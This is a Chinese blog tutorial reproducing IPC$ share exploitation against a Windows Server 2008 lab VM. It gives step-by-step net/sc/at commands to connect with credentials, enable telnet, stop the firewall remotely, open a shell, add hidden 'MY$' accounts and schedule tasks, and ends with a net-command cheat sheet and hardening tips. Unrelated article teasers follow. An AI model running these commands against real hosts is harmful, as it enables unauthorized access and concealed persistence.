基于 Win Server 2008 复现 IPC$ 漏洞
写在前面
本篇博客演示了使用 winXP(配合部分 win10 的命令)对 win server 2008 的 IPC$ 漏洞进行内网渗透,原本的实验是要求使用 win server 2003,使用 win server 2003 可以规避掉很多下面存在的问题,建议大家使用 win server 2003 作为靶机进行测试,这里使用 win server 2008 仅作渗透演示,涉及内容主要就是扫描、拿shell、命令执行,总结一些知识,仅供学习参考。
Copyright © [2024] [Myon⁶]. All rights reserved.
文章开始前给大家分享一个学习人工智能的网站,通俗易懂,风趣幽默
人工智能
https://www.captainbed.cn/myon/
~~~~~~~~~~正文开始~~~~~~~~~~
知识介绍:
IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$ 是 NT2000 的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT2000 在提供了 IPC$ 共享功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录共享(Admin$)。所有的这些初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者会利用 IPC$ ,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。
为了配合IPC共享工作,Windows操作系统(不包括Windows 98系列)在安装完成后,自动设置共享的目录为:C盘、D盘、E盘、ADMIN目录(C:\Windows)等,即为 ADMIN$、C$、D$、E$ 等,但要注意,这些共享是隐藏的,只有管理员能够对他们进行远程操作。
使用 net 命令查看开启的共享:
net share
漏洞利用条件:
开放了 139、445 端口和 ipc$ 文件共享,并且我们已经获取到用户登录账号和密码。
测试靶机:Windows Server 2008 (内网 ip:192.168.249.129)
攻击机:Windows XP(ip 地址:192.168.249.137)
(后续部分命令基于 win10 物理机演示)
靶机虽然启动了 Windows 防火墙,但是允许文件共享,其余设置全为默认安装设置,并安装了所有补丁。(相当于是限定我们的渗透方向)
如下图,防火墙处于开启状态:
入站规则:启用文件和打印机共享
实验开始前先测试下网络:可以 ping 通
X-scan 扫描
在使用这个软件过程中遇到了一些问题,同样是进行 ip 段扫描
但是在物理机(win10)却扫描不到存活主机
参数配置:
扫描结果:
未发现存活主机
将软件放进虚拟机(XP系统),同样的参数配置
扫描结果:
成功扫到内网靶机 192.168.249.129
因为这个 win server 2008 是我的一台靶场机,所以会扫到这么多的漏洞
由于登录用户密码是我自定义修改过的,所以这里我们并没有扫到弱口令
正常来说,win server 2003 会扫到弱口令:administrator/123456
(假设我们扫到了一个登录的弱口令,这也是 IPC$ 漏洞利用的条件之一)
接下来我们分别演示利用 IPC$ 建立空连接和非空连接
我们可以无需用户名与密码与目标主机建立一个空的连接(前提是对方机器必须开了 IPC$ 共享),利用这个空的连接,我们可以得到目标主机上的用户列表。但是在 Windows2003 以后,空连接什么权限都没有,也就是说并没有太大实质的用处。
使用命令建立 IPC$ 空连接(即用户名和密码都为空):
net use \\192.168.249.129 /u:"" ""
查看共享连接
net use
有些主机的 Administrator 管理员的密码为空,那么我们可以尝试进行空连接,但是大多数情况下服务器都阻止了使用空密码进行连接。
下面我们使用拿到的账号和密码进行 IPC$ 非空连接
使用命令:
net use \\192.168.249.129 密码 /user:administrator
遇到如下的报错,这是因为我们刚才建立的空连接没有断开,正如我们前面所说,每个客户端只能与远程计算机的 IPC$ 共享建立一个连接。
因此我们先断开刚才建立的连接:
net use \\192.168.249.129 /del
再次执行非空连接的命令,建立连接成功
这里顺便说一下用户权限的问题:
使用管理员组内用户( administrator 或其他管理员用户)建立 IPC$ 连接,可以执行所有命令;
而使用普通用户建立的 IPC$ 连接,仅能执行查看时间命令:net time \\192.168.249.129 。
这里我们也演示一下查看当前时间:
net time \\192.168.249.129
尝试查看文件和目录:
dir \\192.168.249.129\c$
执行成功
与靶机对比一下,内容完全一样
当然这个命令也可以直接在运行框执行
\\192.168.249.129\c$
结果如下图,我们就可以直接在这里进行图形化的操作
回到实验本身,我们使用 sc 命令获取目标计算机的所有服务列表,并保存在本地:
使用 > 符号输出到本地的 C 盘下一个名为 MY.txt 的文档里
sc \\192.168.249.129 query type= service state= all > c:\MY.txt
(特别注意一点,在两个等号后面一定要加上空格,否则你导出的结果会有问题)
执行成功后我们就可以找到该文件
在进行这一步时遇到了以下问题:
1、系统资源不足 无法完成请求服务
2、sc 命令拒绝访问
3、导出文件内容为:[SC] EnumQueryServicesStatus:OpenService FAILED 1060:
解决方案:重启客户机,重新建立连接,执行命令时加上空格
查看我们导出的文件,使用快捷键 Ctrl+F 检索 telnet
可以看到该服务处于禁用状态
并且我们可以获知服务名为:TlntSvr
接下来我们设置 telnet 为自启动状态并启动它:
sc \\192.168.249.129 config tlntsvr start= autosc \\192.168.249.129 start tlntsvr
再次导出目标计算机的所有服务列表
可以看到 telnet 服务处于运行状态
为了便于后续的渗透操作,我们一般需要先对防火墙进行关闭
通过检索关键字 firewall
可以得知该服务处于运行状态,并且服务名称是 MpsSvc
(由于我这里是使用 win server 2008 进行的演示,该实验原本是基于 win server 2003 进行的,在 win server 2003 中,防火墙名称叫 SharedAccess)
使用 sc 命令关闭防火墙:
sc \\192.168.249.129 stop MpsSvc
再次导出服务运行情况:
这里遇到了问题,无法获取到目标的服务列表情况
进行一些简单的命令测试,似乎已经无法与目标正确建立连接
查看目标防火墙状态,发现是刚才远程执行关闭防火墙命令所导致的
由于防火墙关闭时发生了错误,导致一些服务也无法正常工作
没办法我们只能重启靶机
(这里我进行了多次测试,都会出现这个错误,只能手动关闭防火墙了,2003 应该是没问题的)
重新在攻击机测试:
连接恢复正常
接下来我们尝试与目标计算机建立 telnet 连接
直接使用 telnet 命令跟上目标 ip :
(注意这里没有反斜杠 \\ )
telnet 192.168.249.129
键入 y ,回车
输入用户名和密码
用户名为:administrator
密码为自己的密码(win server 2003 默认是 123456)
出于安全考虑,输入的密码不会显示出来,其实是输入成功了的,直接回车即可
telnet 连接建立成功
查看当前 ip
ipconfig
已经是我们目标靶机的 ip:192.168.249.129
查看一下当前权限:
whoami
由于 shell 已经建立,并且是最高管理员权限,我们便可以进行一系列想做的操作了。
新建普通账户:
net user MY 123456 /add
这里对密码的复杂度进行了限制,换句话说就是我们设置的密码太简单了
经过多次尝试,发现密码需要包含大小写字母和数字
创建新账号成功
查看当前存在的账户:
net user
即可看到我们新建的 MY 账号
下面我们新建隐藏用户:
使用 $ 符
注意:该方法仅能实现在命令行里隐藏账户,但是在图形化管理工具里该账户还是可见的
net user MY$ qaMY789 /add
说明:上述命令直接复制执行会出错的,需要自己敲一遍。
MY$ 用户创建成功,并且在命令行里面无法看见,一定程度上实现了隐藏
但是在图形化账户管理界面,MY$ 用户是可见的:
后续我们再介绍通过注册表实现用户的完全隐藏
关于 telnet 的利用就到此为止,我们再补充一些其他命令的利用。
首先使用 exit 断开 telnet 连接
1、tasklist 命令
该命令用于查看进程
tasklist /S 192.168.249.129 /U administrator -P 密码
在 XP 系统无法执行(版本太老了不认识这个命令)
因此换用 win 10 的终端
执行成功,回显如下图:
2、at命令
该命令用于添加计划任务,但是在 Windows Vista、Windows Server 2008 及之后版本的操作系统中已经弃用了 at 命令,而转为用 schtasks 命令,schtasks 命令比 at 命令更灵活,在使用schtasks 命令时,会在系统中留下日志文件:C:\Windows\Tasks\SchedLgU.txt
首先我们查看当前时间
net time \\192.168.249.129
假设我们让它在 02:42pm 的时候再新建一个名为 MY67 的用户:
at \\192.168.249.129 02:42pm net user MY67 qaMY123 /add
并在 02:42pm 前和 02:42pm 后分别执行 net user 命令查看存在的用户
结果如下:说明目标计算机执行了我们 at 命令计划的任务
此外,我又新建了三项计划任务
我们使用 at 命令列出所有计划执行的作业:
at
追加具体作业 id 号就可以查看作业的详细信息
at 8
删除特定编号的作业
at \\192.168.249.129 作业ID /del
比如我们删掉作业 8
at \\192.168.249.129 8 /del
删除后我们只能看到作业 7 和 9 了
关于我这里使用两个 cmd 框的解释:
一个框是通过 telnet 连接拿到了对方的 shell ,也就是没有加 \\192.168.249.129 所执行的命令;
另一个框是我本地的 cmd 框,执行命令时都是加了 \\192.168.249.129 的。
因为 ipc$ 有一定的危险性,而且对于大多数人来说是没啥用的,可以通过如下命令关闭共享:
net share ipc$ /delete
删除 IPC$ 共享后,如果需要重新开启它,可以使用以下命令来重新创建 IPC$ 共享:
net share ipc$
最后附上一些常见的共享命令:
net use: 查看本机建立的连接或连接到其他计算机。net session: 查看其他计算机连接到本机的会话,需要管理员权限执行。net share: 查看本地开启的共享。net share ipc$: 开启 IPC$ 共享。net share ipc$ /del: 删除 IPC$ 共享。
net share admin$ /del: 删除 ADMIN$ 共享。net share c$ /del: 删除 C$ 共享。net share d$ /del: 删除 D$ 共享。net use * /del: 删除所有连接。net use \\192.168.249.129: 与指定 IP 地址建立 IPC 空连接。net use \\192.168.249.129\ipc$: 与指定 IP 地址建立 IPC 空连接。net use \\192.168.249.129\ipc$ /u:"" "": 以空用户名和密码与指定 IP 地址建立 IPC 空连接。net view \\192.168.249.129: 查看指定 IP 地址上的默认共享。net use \\192.168.249.129 /u:"administrator" "hacker": 以管理员身份与指定 IP 地址建立 IPC
连接。net use \\192.168.249.129 /del: 删除指定 IP 地址上的 IPC 连接。net time \\192.168.249.129: 查看指定 IP 地址上的时间。net use \\192.168.249.129\c$ /u:"administrator" "hacker": 以管理员身份连接到指定 IP 地址的 C$ 共享。dir \\192.168.249.129\c$: 查看指定 IP 地址上 C 盘的文件。net use \\192.168.249.129\c$ /del: 删除指定 IP 地址上的 C$ 共享连接。net use k: \\192.168.249.129\c$ /u:"administrator" "hacker": 将指定 IP 地址的 C 盘映射到本地 K 盘。net use k: /del: 删除本地 K 盘的映射。
Copyright © [2024] [Myon⁶]. All rights reserved.
相关文章:

基于 Win Server 2008 复现 IPC$ 漏洞
写在前面 本篇博客演示了使用 winXP(配合部分 win10 的命令)对 win server 2008 的 IPC$ 漏洞进行内网渗透,原本的实验是要求使用 win server 2003,使用 win server 2003 可以规避掉很多下面存在的问题,建议大家使用 …...
HTML笔记2
11,路径 <!DOCTYPE html> <html lang"en"> <head> <meta charset"UTF-8"> <meta name"viewport" content"widthdevice-width, initial-scale1.0"> <title>Document</title> <…...

使用Docker实现Jenkins+Python + Pytest +Allure 接口自动化
一、Jenkins搭建 参考《Docker 安装 Jenkins》 进入 jenkins 容器 CLI 界面 docker exec -itu root jenkins /bin/bash二、准备条件 1、替换镜像内源 为了安装wget,默认用yum会安装不上wget命令,参考文章《docker容器内如何更换yum源【只想换成国内…...

论企业安全漏洞扫描的重要性
前言 随着信息技术的迅猛发展和互联网的广泛普及,网络安全问题日益凸显。在这个数字化的世界里,无论是企业还是个人,都面临着前所未有的安全威胁。安全漏洞,作为这些威胁的源头,常常被忽视或无法及时发现。 而安全漏洞…...

23.网络游戏逆向分析与漏洞攻防-网络通信数据包分析工具-实现配置工具数据结构
免责声明:内容仅供学习参考,请合法利用知识,禁止进行违法犯罪活动! 如果看不懂、不知道现在做的什么,那就跟着做完看效果 内容参考于:易道云信息技术研究院VIP课 上一个内容:22.加载配置文件…...

STM32CubeMX学习笔记20——SD卡FATFS文件系统
1. FATFS文件系统简介 文件系统是操作系统用于明确存储设备或分区上的文件的方法和数据结构(即在存储设备上组织文件的方法)。操作系统中负责管理和存储文件信息的软件机构称为文件管理系统,简称文件系统;不带文件系统的SD卡仅能…...

Facebook商城号为什么被封?如何防封?
由于Facebook商城的高利润空间,越来越多的跨境电商商家注意到它的存在。Facebook作为全球最大、用户量最大的社媒平台,同时也孕育了一个巨大的商业生态,包括广告投放、商城交易等。依托背后的大流量,Facebook商城起号较快…...

【教程】APP备案全攻略:确保你的应用合规上线
【教程】APP备案全攻略:确保你的应用合规上线 摘要 本文详细介绍了中国大陆地区互联网信息服务提供者(AP)进行APP备案的流程、要求和注意事项。包括备案对象、备案方式、备案内容、备案流程等方面的详细说明,帮助开发者顺利完成…...
Vue入门2
v-model 原理:v-model本质上是一个语法糖。例如应用于输入框,就是value属性和input事件的合写。 作用:提供数据的双向绑定 数据变,视图跟着变 :value视图变,数据跟着变 input 注意:$event用于在模板中&…...

简介:CMMI软件能力成熟度集成模型
前言 CMMI是英文Capability Maturity Model Integration的缩写。 CMMI认证简称软件能力成熟度集成模型,是鉴定企业在开发流程化和质量管理上的国际通行标准,全球软件生产标准大都以此为基点,并都努力争取成为CMMI认证队伍中的一分子。 对一个…...
mysql的其他问题
1.MySQL数据库作发布系统的存储,一天五万条以上的增量,预计运维三年,怎么优化? a. 设计良好的数据库结构,允许部分数据冗余,尽量避免join查询,提高效率。 b. 选择合适的表字段数据类型和存储引擎…...

数据结构---复杂度(2)
1.斐波那契数列的时间复杂度问题 每一行分别是2^0---2^1---2^2-----2^3-------------------------------------------2^(n-2) 利用错位相减法,可以得到结果是,2^(n-1)-1,其实还是要减去右下角的灰色部分,我们可以拿简单的数字进行举例子&…...
【设计模式】设计原则和常见的23种经典设计模式
设计模式 1. 设计原则(记忆口诀:SOLID)【记忆口诀:单开里依接迪合(单开礼仪接地和)】 (1)单一职责原则(Single Responsibility Principle, SRP) ÿ…...

Spring Cloud Gateway自定义断言
问题:Spring Cloud Gateway自带的断言(Predicate)不满足业务怎么办?可以自定义断言! 先看Spring Cloud Gateway是如何实现断言的 Gateway中断言的整体架构如下: public abstract class AbstractRoutePred…...

智能测径仪在胶管行业的应用
关键字:胶管外径尺寸测量,胶管检测仪器,胶管外径检测,高温胶管外径检测,软硬胶管检测, 智能测径仪在家胶管行业中的应用主要体现在对胶管外径的精确测量和控制上。在胶管生产过程中,外径的大小直…...

vue自定义主题皮肤方案
方案一:CSS变量换肤(推荐) 利用css定义变量的方法,用var在全局定义颜色变量(需将变量提升到全局即伪类选择器 :root)然后利用js操作css变量,document.getElementsByTagName(‘body’)[0].style…...
iOS中使用schema协议调用APP和使用iframe打开APP的例子
大家好我是咕噜美乐蒂,很高兴又和大家见面了! 当调用自定义 URL scheme 或使用 iframe 打开应用程序时,可以采取以下详细步骤: 使用自定义 URL scheme 协议调用应用程序 1.首先,确认目标应用程序已经注册了自定义 U…...

2024.3.11
提示并输入一个字符串,统计该字符中大写、小写字母个数、数字个数、空格个数以及其他字符个数 #include <iostream> #include<string> using namespace std;int main() {cout << "please input a string:" << endl;string str;g…...
Web服务器需要警惕的一些安全隐患
Web服务器需要警惕的一些安全隐患有哪些,今天德迅云安全就带您来了解下。熟悉了解了就知道怎么规避风险。不过无论是什么漏洞,都体现着安全是一个整体的真理,考虑Web服务器的安全性,必须要考虑到与之相配合的操作系统。 1.物理路径…...

MinGW-w64的下载与安装
文章目录 1 下载2 安装3 配置环境变量4 验证 1 下载 官网地址:https://www.mingw-w64.org/github地址:https://github.com/niXman/mingw-builds-binaries/releases windows下载 跳转github下载 版本号选择:13.2.0是GCC的版本号;…...

IDEA运行Tomcat出现乱码问题解决汇总
最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…...

日语AI面试高效通关秘籍:专业解读与青柚面试智能助攻
在如今就业市场竞争日益激烈的背景下,越来越多的求职者将目光投向了日本及中日双语岗位。但是,一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧?面对生疏的日语交流环境,即便提前恶补了…...

【人工智能】神经网络的优化器optimizer(二):Adagrad自适应学习率优化器
一.自适应梯度算法Adagrad概述 Adagrad(Adaptive Gradient Algorithm)是一种自适应学习率的优化算法,由Duchi等人在2011年提出。其核心思想是针对不同参数自动调整学习率,适合处理稀疏数据和不同参数梯度差异较大的场景。Adagrad通…...
FFmpeg 低延迟同屏方案
引言 在实时互动需求激增的当下,无论是在线教育中的师生同屏演示、远程办公的屏幕共享协作,还是游戏直播的画面实时传输,低延迟同屏已成为保障用户体验的核心指标。FFmpeg 作为一款功能强大的多媒体框架,凭借其灵活的编解码、数据…...

Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件
今天呢,博主的学习进度也是步入了Java Mybatis 框架,目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学,希望能对大家有所帮助,也特别欢迎大家指点不足之处,小生很乐意接受正确的建议&…...
【android bluetooth 框架分析 04】【bt-framework 层详解 1】【BluetoothProperties介绍】
1. BluetoothProperties介绍 libsysprop/srcs/android/sysprop/BluetoothProperties.sysprop BluetoothProperties.sysprop 是 Android AOSP 中的一种 系统属性定义文件(System Property Definition File),用于声明和管理 Bluetooth 模块相…...
【RockeMQ】第2节|RocketMQ快速实战以及核⼼概念详解(二)
升级Dledger高可用集群 一、主从架构的不足与Dledger的定位 主从架构缺陷 数据备份依赖Slave节点,但无自动故障转移能力,Master宕机后需人工切换,期间消息可能无法读取。Slave仅存储数据,无法主动升级为Master响应请求ÿ…...
【HTTP三个基础问题】
面试官您好!HTTP是超文本传输协议,是互联网上客户端和服务器之间传输超文本数据(比如文字、图片、音频、视频等)的核心协议,当前互联网应用最广泛的版本是HTTP1.1,它基于经典的C/S模型,也就是客…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...

Reasoning over Uncertain Text by Generative Large Language Models
https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829 1. 概述 文本中的不确定性在许多语境中传达,从日常对话到特定领域的文档(例如医学文档)(Heritage 2013;Landmark、Gulbrandsen 和 Svenevei…...